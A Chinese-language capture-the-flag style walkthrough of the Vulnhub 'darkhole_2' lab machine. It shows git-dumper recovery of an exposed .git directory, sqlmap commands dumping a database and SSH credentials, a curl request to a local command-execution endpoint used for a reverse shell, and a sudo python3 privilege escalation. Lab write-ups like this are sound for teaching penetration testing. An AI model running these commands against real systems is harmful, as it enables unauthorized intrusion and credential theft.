Vulnhub darkhole_2 Walkthrough
前言
感觉这个靶机标称自己是的难度等级为高,有些名不副实了,这个难度也不是很高啊,起码不是我能力之外的,也可能是它的考察点我正好都会。。。
信息收集
这个就比较的初级了,没什么敏感的端口是开着的,只是很常规的一些端口。
但是这里 nmap
返回的扫描结果中出现了 .git
的目录,这里就很自然的想到使用 githack
或者是 git-dumper
将整个项目还原回去看看是不是有什么敏感的信息。
还原代码
这里选择使用 git-dumper
还原。
git-dumper http://10.0.0.56/.git 10.0.0.56
所以这里选择比较一下,查看一下作者修改了什么信息。结果一看还就真出来了一个看起来像是登陆的用户名和密码的东西。
登陆网站
这里经过简单的测试,通过对地址栏的改变得出这里存在注入漏洞。下面将请求报文保存使用 sqlmap
爆破。
sqlmap
sqlmap -r post --dbs
available databases [5]:
[*] darkhole_2
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
sqlmap -r post -D darkhole_2 --dump-all
Database: darkhole_2
Table: ssh
[1 entry]
+——+———+————+
| id | pass | user |
+——+———+————+
| 1 | fool | jehad |
+——+———+————+
很显然这里是一个 ssh
登陆的用户名和密码
SSH登陆
经过在系统上的一顿探索,最终在 /opt/web
目录下发现了一个 index.php
是比较可疑的。
明显的这里是有一个命令执行的这么一个东西,而且还是监听的 9999
端口。(从计划任务看来的)。
切换用户
这里给这个发送一下请求,让他执行本地我上传的一个文件,从而达到反弹 shell 的目的。
curl localhost:9999?cmd=php%201.php
提权
在这个用户的目录下随便的找找,发现 .bash_history
中的存在了当前用户的密码。
为了方便使用终端,这里还是选择使用 ssh
登陆这个用户。
发现这个用户可以使用 root 的身份执行 python3
,那就好办了,直接提权吧。